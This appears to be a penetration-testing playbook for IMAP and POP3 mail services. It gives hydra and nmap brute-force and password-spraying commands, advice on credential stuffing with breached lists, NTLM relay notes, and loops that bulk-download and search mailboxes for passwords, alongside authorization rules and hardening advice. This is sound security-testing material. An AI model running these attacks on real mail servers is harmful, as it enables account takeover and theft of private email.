

IMAP/POP3 Penetration Test

IMAP Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (IMAP service)

Service: IMAP (Internet Message Access Protocol) — Default ports **143** (IMAP), **993** (IMAPS)

Date: 2025-10-25

1. Executive Summary

This report is a hands-on penetration testing playbook for assessing IMAP services. It covers connecting methods, reconnaissance, enumeration, credential attacks (brute force, NTLM), post-exploitation (email harvesting, mail manipulation), evidence collection, and remediation. The aim is to provide a repeatable methodology with all important commands and checks for pentesters and defenders.

Key takeaways:

- IMAP servers with weak authentication, no TLS, and lenient rate limits are high-value targets for account takeover and data exfiltration.
 - NTLM-capable IMAP services can be abused for pass-the-hash or relay-style attacks.
 - Mailboxes often store credentials, backup codes, attachments, and other sensitive data — treat discovered artifacts as highly sensitive.
-

2. Rules of Engagement & Legal

- **Authorization:** Only test IMAP services with explicit written permission. Define allowed accounts, rate limits, and actions (e.g., brute force, mailbox downloads).
- **Non-destructive testing:** Avoid deleting or modifying messages unless explicitly authorized for a specific test.

- **Data handling:** Encrypt and protect exported emails and attachments; redact PII in reports.

Pre-test checklist:

- Signed authorization and scope.
 - Approved test accounts (if available) and allowed wordlists.
 - Emergency contact and kill-switch.
-

3. Connecting to IMAP

3.1 Telnet (plaintext IMAP)

```
# Connect to IMAP on port 143
telnet target.com 143
```

```
# Sample IMAP session
a1 LOGIN username password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
a5 LOGOUT
```

3.2 OpenSSL (IMAPS)

```
# Connect to IMAPS (SSL/TLS)
openssl s_client -connect target.com:993 -crlf -quiet
```

```
# Then issue IMAP commands
a1 LOGIN username password
```

3.3 Using curl for IMAP/IMAPS

```
# List mailboxes
curl -u username:password imap://target.com/

# Read a specific email
curl -u username:password "imap://target.com/INBOX;UID=1" > email_1.eml

# IMAPS (insecure flag to ignore cert issues)
curl -u username:password imaps://target.com/ --insecure
```

4. Reconnaissance

4.1 Service Detection (Nmap)

```
# Basic IMAP port scan
nmap -p 143,993 -sV target.com

# IMAP NSE scripts
nmap -p 143 --script imap-capabilities,imap-ntlm-info,imap-brute target.com
```

4.2 Banner Grabbing

```
# Netcat / telnet banner
nc target.com 143
# Or
telnet target.com 143
```

4.3 Capability Enumeration (CAPABILITY)

```
# After connecting
a1 CAPABILITY
```

```
# Look for: AUTH mechanisms (PLAIN, LOGIN, CRAM-MD5, NTLM), STARTTLS, IDLE, ACL
```

5. Enumeration

5.1 Mailbox & Folder Enumeration

```
# List all mailboxes
a1 LOGIN username password
a2 LIST "" "*"

# List subfolders
a3 LIST "" "INBOX.*"

# Check message counts
a4 STATUS INBOX (MESSAGES RECENT UNSEEN)

# Select and inspect a mailbox
a5 SELECT INBOX
a6 FETCH 1:* (FLAGS INTERNALDATE RFC822.SIZE)
```

5.2 User Enumeration & Discovery

- User enumeration via login error messages is often possible (timing differences or distinct responses).
- Use safe RCPT/VRFY-like techniques at SMTP to discover accounts when IMAP is rate-limited.

5.3 NTLM & AUTH Enumeration

```
# Check authentication methods via CAPABILITY
# Nmap script for NTLM details
nmap -p 143 --script imap-ntlm-info target.com
```

6. Attack Vectors

6.1 Brute Force / Password Spraying

```
# Hydra brute force (IMAP plaintext)
hydra -l user@target.com -P passwords.txt imap://target.com

# Hydra for IMAPS (SSL/TLS)
hydra -l user@target.com -P passwords.txt imaps://target.com:993

# Multiple users
hydra -L users.txt -P passwords.txt imap://target.com

# Nmap brute script
nmap -p 143 --script imap-brute --script-args userdb=users.txt,passdb=pass
words.txt target.com
```

Operational notes: Rate-limit attempts, prefer password-spraying (single password across many accounts) to avoid lockouts.

6.2 NTLM Pass-the-Hash / Relay Opportunities

```
# If NTLM auth available, record NTLM challenge/response and attempt relay
or pass-the-hash techniques (requires specialized tooling)
# Use imap-ntlm-info NSE to enumerate
nmap -p 143 --script imap-ntlm-info target.com
```

6.3 Credential Stuffing

- Use breached credential lists with proper permissions and rate controls.
- Tools: Burp Intruder (for webmail), custom scripts, hydra.

7. Post-Exploitation

7.1 Email Extraction & Searching

```
# Fetch all messages from INBOX (careful with large mailboxes)
a1 LOGIN username password
a2 SELECT INBOX
a3 FETCH 1:* (BODY[])

# Use curl to download messages by UID
for i in {1..100}; do curl -u username:password "imap://target.com/INBOX;UID=$i" > email_${i}.eml; done

# Search mails for keywords
a4 SEARCH TEXT "password"
a5 SEARCH FROM "admin@target.com"
```

7.2 Attachments & Sensitive Files

```
# Save attachments by parsing MIME parts of fetched emails (use python or ripmime)
# Example with ripmime (installed)
ripmime -i email_1.eml -d attachments_1/
```

7.3 Mailbox Manipulation

```
# Mark as read or delete (authorized only)
a1 STORE 1 +FLAGS \Deleted
a2 EXPUNGE
```

7.4 Data Exfiltration via IMAP

- Exfiltrate messages/attachments by downloading them; covert channels possible but noisy.
- Use scripts to batch download and compress for transfer.

```
# Batch download and compress
mkdir -p /tmp/emails
for i in {1..500}; do curl -u username:password "imap://target.com/INBOX;UID=$i" > /tmp/emails/email_${i}.eml; done
tar czf emails_$(date +%F).tgz -C /tmp/emails .
```

8. Detection & Evidence Collection

8.1 Evidence to Collect

- IMAP session transcripts with timestamps (sanitized).
- Nmap script outputs and banner captures.
- Lists of mailboxes and message counts.
- Extracted email files and attachment hashes (store securely).
- Authentication capability outputs (CAPABILITY responses).

8.2 Example Evidence Commands

```
date --iso-8601=seconds
# Capture CAPABILITY response
echo -e "a1 CAPABILITY\r\n" | nc target.com 143 > evidence_capability.txt

# Nmap evidence
nmap -p 143 --script "imap-capabilities,imap-ntlm-info" target.com -oN evidence_nmap_imap.txt

# Download sample email
curl -u username:password "imap://target.com/INBOX;UID=1" > evidence_email_1.eml

# Hash attachments
sha256sum attachments_1/* > evidence_attachment_hashes.txt
```

9. Risk Assessment & Severity Guidance

- **Critical:** Compromised admin/mailbox credentials leading to domain-level account takeovers, mailbox stores containing PII, or validated NTLM relay opportunities.
 - **High:** Weak authentication, plaintext passwords allowed (no TLS), large amounts of sensitive data in mailboxes.
 - **Medium:** Rate-limited services but with sensitive attachments or misconfigurations.
 - **Low:** Banner disclosure only.
-

10. Remediation & Hardening Recommendations

Immediate:

- Enforce TLS (IMAPS/STARTTLS) and disable plaintext authentication on port 143 without STARTTLS.
- Implement strong password policies and MFA for mail access.
- Rate-limit authentication attempts and implement account lockout policies.
- Disable weak auth mechanisms (e.g., AUTH PLAIN if not needed) and NTLM where possible.

Strategic:

- Monitor mailbox access logs for anomalous patterns and integrate with SIEM.
 - Regularly review mailbox retention policies and purge sensitive attachments where not needed.
 - Use gateway DLP to block sensitive attachments from being exfiltrated.
 - Keep IMAP server software patched and use secure configurations.
-

11. Tools & Quick Command Reference

Tools: `telnet` , `nc` , `openssl s_client` , `curl` , `hydra` , `nmap` , `ripmime` , `python` (imaplib), `imapclient` (python), `metasploit` .

Quick commands:

```
# Connect via telnet
telnet target.com 143

# Connect via openssl
openssl s_client -connect target.com:993 -crlf -quiet

# CAPABILITY capture
echo -e "a1 CAPABILITY\r\n" | nc target.com 143

# Hydra brute force
hydra -L users.txt -P passwords.txt imap://target.com
hydra -L users.txt -P passwords.txt imaps://target.com:993

# Nmap scripts
nmap -p 143 --script imap-capabilities,imap-ntlm-info,imap-brute target.com

# Fetch email with curl
curl -u username:password "imap://target.com/INBOX;UID=1" > email_1.eml
```

12. Practical Testing Checklist

1. Confirm authorization & scope.
2. Capture banner and CAPABILITY responses.
3. Verify TLS availability and disable plaintext login if possible.
4. Enumerate mailboxes and counts for authorized accounts.
5. If allowed, perform controlled brute force/credential stuffing with rate limits.
6. Download sample messages and search for sensitive content.
7. Collect evidence, sanitize sensitive outputs, and store securely.
8. Provide remediation guidance and retest after fixes.

13. Reporting Snippets & Examples

Sample finding:

- **Title:** IMAP allowed plaintext LOGIN without STARTTLS
- **Severity:** High
- **Affected Host:** `imap.target.com (X.X.X.X)`
- **Finding:** IMAP server accepted plaintext credentials over port 143 without STARTTLS, exposing credentials to network sniffing.
- **Proof:** CAPABILITY response and LOGIN transcript attached.
- **Impact:** Credentials intercepted; account takeover and data exfiltration possible.
- **Recommendation:** Enforce STARTTLS and disable plaintext authentication.

Quick executive note:

IMAP server `imap.target.com` allowed plaintext logins over port 143. Enforce STARTTLS and require TLS for all authentication to prevent credential exposure.

POP3 Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (POP3 service)

Service: POP3 (Post Office Protocol v3) — Default ports **110** (POP3), **995** (POP3S)

Date: 2025-10-25

1. Executive Summary

This document is a practical penetration testing playbook for assessing POP3 services. It includes connection methods, reconnaissance, enumeration, common attack vectors (brute force, credential harvesting), post-exploitation (email download and exfiltration), evidence collection, and remediation guidance. Every relevant command and important check is included to help pentesters and defenders perform thorough assessments.

Key takeaways:

- POP3 servers that allow plaintext authentication (port 110) expose credentials to network sniffing unless STARTTLS is enforced.
 - Weak passwords and lack of rate limiting enable credential stuffing and brute force attacks.
 - Compromised POP3 accounts can yield sensitive emails and attachments useful for lateral movement.
-

2. Rules of Engagement & Legal

- **Authorization:** Test only systems with explicit written permission. Define allowed IPs, accounts, actions (download-only vs. destructive), and time windows.
- **Non-destructive testing:** Avoid deleting or modifying messages unless explicitly authorized.
- **Data handling:** Treat retrieved emails and attachments as sensitive; encrypt and store securely. Redact PII before including in reports.

Pre-test checklist:

- Signed authorization & scope.
 - Approved test accounts (if provided).
 - Rate limits and safe wordlists.
 - Emergency contact and kill-switch.
-

3. Connecting to POP3

3.1 Using Telnet (POP3 plaintext)

```
# Connect to POP3 server
telnet target.com 110
```

```
# Basic POP3 conversation
USER username
```

```
PASS password  
LIST  
RETR 1  
QUIT
```

3.2 Using OpenSSL (POP3S)

```
# Connect with SSL/TLS (POP3S)  
openssl s_client -connect target.com:995 -crlf -quiet  
  
# POP3 commands after connect  
USER username  
PASS password  
LIST  
RETR 1  
QUIT
```

3.3 Using curl for automation

```
# List emails  
curl -u username:password pop3://target.com/  
  
# Read specific email  
curl -u username:password pop3://target.com/1  
  
# POP3S (ignore cert verification if necessary)  
curl -u username:password pop3s://target.com/ --insecure
```

4. Reconnaissance

4.1 Service Detection with Nmap

```
# Scan POP3 ports
nmap -p 110,995 target.com

# Version detection
nmap -sV -p 110,995 target.com
```

4.2 Banner Grabbing

```
# Netcat banner\ n# (TCP)
nc target.com 110

# Telnet banner
telnet target.com 110

# Nmap service/version
nmap -p 110 -sV target.com
```

5. Enumeration

5.1 Capability Enumeration (CAPA)

```
# Get server capabilities
telnet target.com 110
CAPA

# Response might include
# +OK Capability list follows
# USER
# PIPELINING
# TOP
# UIDL
# STLS
# .
```

5.2 Mailbox Enumeration & Commands

```
# Login and list messages
USER username
PASS password
LIST # list message numbers and sizes
STAT # message count and total size
UIDL # unique IDs for messages
RETR 1 # retrieve message 1
TOP 1 10 # get headers + first 10 lines
DELE 1 # mark message 1 for deletion
RSET # reset deletions
QUIT # close session
```

5.3 User Enumeration

- POP3 lacks VRFY/EXPN, but enumeration is possible via login error messages, timing differences, or behavior differences on `USER` responses.

```
# Example technique (timing/response differences)
telnet target.com 110
USER admin
# Observe response (+OK / -ERR)
```

6. Attack Vectors

6.1 Brute Force & Password Spraying

```
# Hydra - POP3 plaintext
hydra -l user@target.com -P passwords.txt pop3://target.com

# Hydra - POP3S (SSL/TLS)
hydra -l user@target.com -P passwords.txt pop3s://target.com:995
```

```
# Multiple users
hydra -L users.txt -P passwords.txt pop3://target.com
```

```
# Nmap brute force
nmap -p 110 --script pop3-brute target.com
```

Operational guidance: Prefer password spraying to avoid account lockouts; enforce rate limits in tests.

6.2 Plaintext Authentication / STLS Lack

- If STLS is not offered or enforced, credentials are transmitted in cleartext on port 110 — sniffable on the network. Always verify STARTTLS/STLS support.

6.3 Credential Harvesting & Account Takeover

- Compromised POP3 accounts allow full download of mailbox contents, attachments, and possible account recovery information.

7. Post-Exploitation

7.1 Email Download & Analysis

```
# Automated download loop (example)
for i in {1..100}; do
    curl -u username:password "pop3://target.com/$i" > email_${i}.eml 2>/dev/nu
ll
done

# Manual retrieval via telnet
USER username
PASS password
STAT
RETR 1
RETR 2
```

7.2 Search for Sensitive Content

```
# Search downloaded emails for keywords
grep -r -i "password\|credential\|username\|secret\|ssn\|account" *.eml || true

# Extract URLs
grep -Eiorh 'https?://[^\s]+' *.eml || true

# Extract email addresses
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' *.eml || true
```

7.3 Mailbox Manipulation (Authorized Only)

```
# Mark message as deleted
DELE 1
# Permanently remove marked deletions
QUIT # on some servers this commits deletions
# Or use RSET to undo deletions
RSET
```

7.4 Data Exfiltration

- Compress and transfer downloaded mail for offline analysis.

```
# Batch download & compress
tar czf pop3_emails_$(date +%F).tgz email_*.eml
```

8. Detection & Evidence Collection

8.1 Evidence to Collect

- POP3 session transcripts with timestamps.
- Nmap scan outputs and service/version banners.

- CAPA output and capability lists.
- Downloaded email samples and attachment hashes (store securely).
- Authentication success/failure logs and rate/response timing data.

8.2 Example Evidence Commands

```
date --iso-8601=seconds
# Capture CAPA or banner
(echo "CAPA"; sleep 1) | nc target.com 110 > evidence_capa.txt

# Nmap evidence
nmap -sV -p 110,995 target.com -oN evidence_nmap_pop3.txt

# Download sample email
curl -u username:password "pop3://target.com/1" > evidence_email_1.eml

# Hash attachment
aesum=$(sha256sum evidence_email_1.eml | awk '{print $1}')
```

9. Risk Assessment & Severity Guidance

- **Critical:** Many accounts compromised with sensitive attachments or account recovery emails; plaintext credentials on unencrypted network segments.
- **High:** Weak passwords, no rate limiting, account takeover plausible.
- **Medium:** STLS available but not enforced; some risk of downgrade or misconfiguration.
- **Low:** Banner disclosure only.

10. Remediation & Hardening Recommendations

Immediate actions:

- Enforce TLS/SSL (POP3S) or enforce STLS on port 110; disable plaintext logins without encryption.

- Implement account lockouts and rate limiting for authentication attempts.
- Enforce strong password policies and MFA for accounts where possible.
- Monitor and alert on unusual POP3 access patterns (mass downloads, rapid logins).

Strategic actions:

- Deprecate POP3 in favor of IMAP/modern mail access with secure controls and MFA, if possible.
- Patch and update POP3 server software.
- Regularly audit mail stores for sensitive data and retention policies.

11. Tools & Quick Command Reference

Tools: `telnet` , `nc` , `openssl s_client` , `curl` , `hydra` , `nmap` , `metasploit` , `grep` , `tar` .

Quick commands summary:

```
# Connect
telnet target.com 110
openssl s_client -connect target.com:995 -crLf -quiet
curl -u username:password pop3://target.com/

# Brute force
hydra -l user@target.com -P passwords.txt pop3://target.com
hydra -l user@target.com -P passwords.txt pop3s://target.com:995
nmap -p 110 --script pop3-brute target.com

# POP3 commands
USER username
PASS password
LIST
RETR 1
DELE 1
UIDL
```

12. Practical Testing Checklist

1. Confirm authorization & scope.
2. Discover POP3 services (110/995) and capture banners.
3. Check CAPA and STARTTLS/STLS support.
4. Enumerate mailboxes only with authorized credentials.
5. If allowed, perform controlled brute force/password-spraying with limits.
6. Download sample messages, search for sensitive content, and hash attachments.
7. Record evidence, sanitize outputs, and store securely.
8. Provide remediation recommendations and re-test after fixes.

13. Reporting Snippets & Examples

Sample finding:

- **Title:** POP3 allows plaintext authentication without STARTTLS
- **Severity:** High
- **Affected Host:** `pop3.target.com (X.X.X.X)`
- **Finding:** POP3 server accepts plaintext credentials on port 110 without offering or enforcing STLS, exposing credentials on the network.
- **Proof:** CAPA response and telnet LOGIN transcript attached.
- **Impact:** Credentials can be intercepted via network sniffing — account takeover and data exfiltration likely.
- **Recommendation:** Enforce TLS/STLS and disable plaintext login without encryption.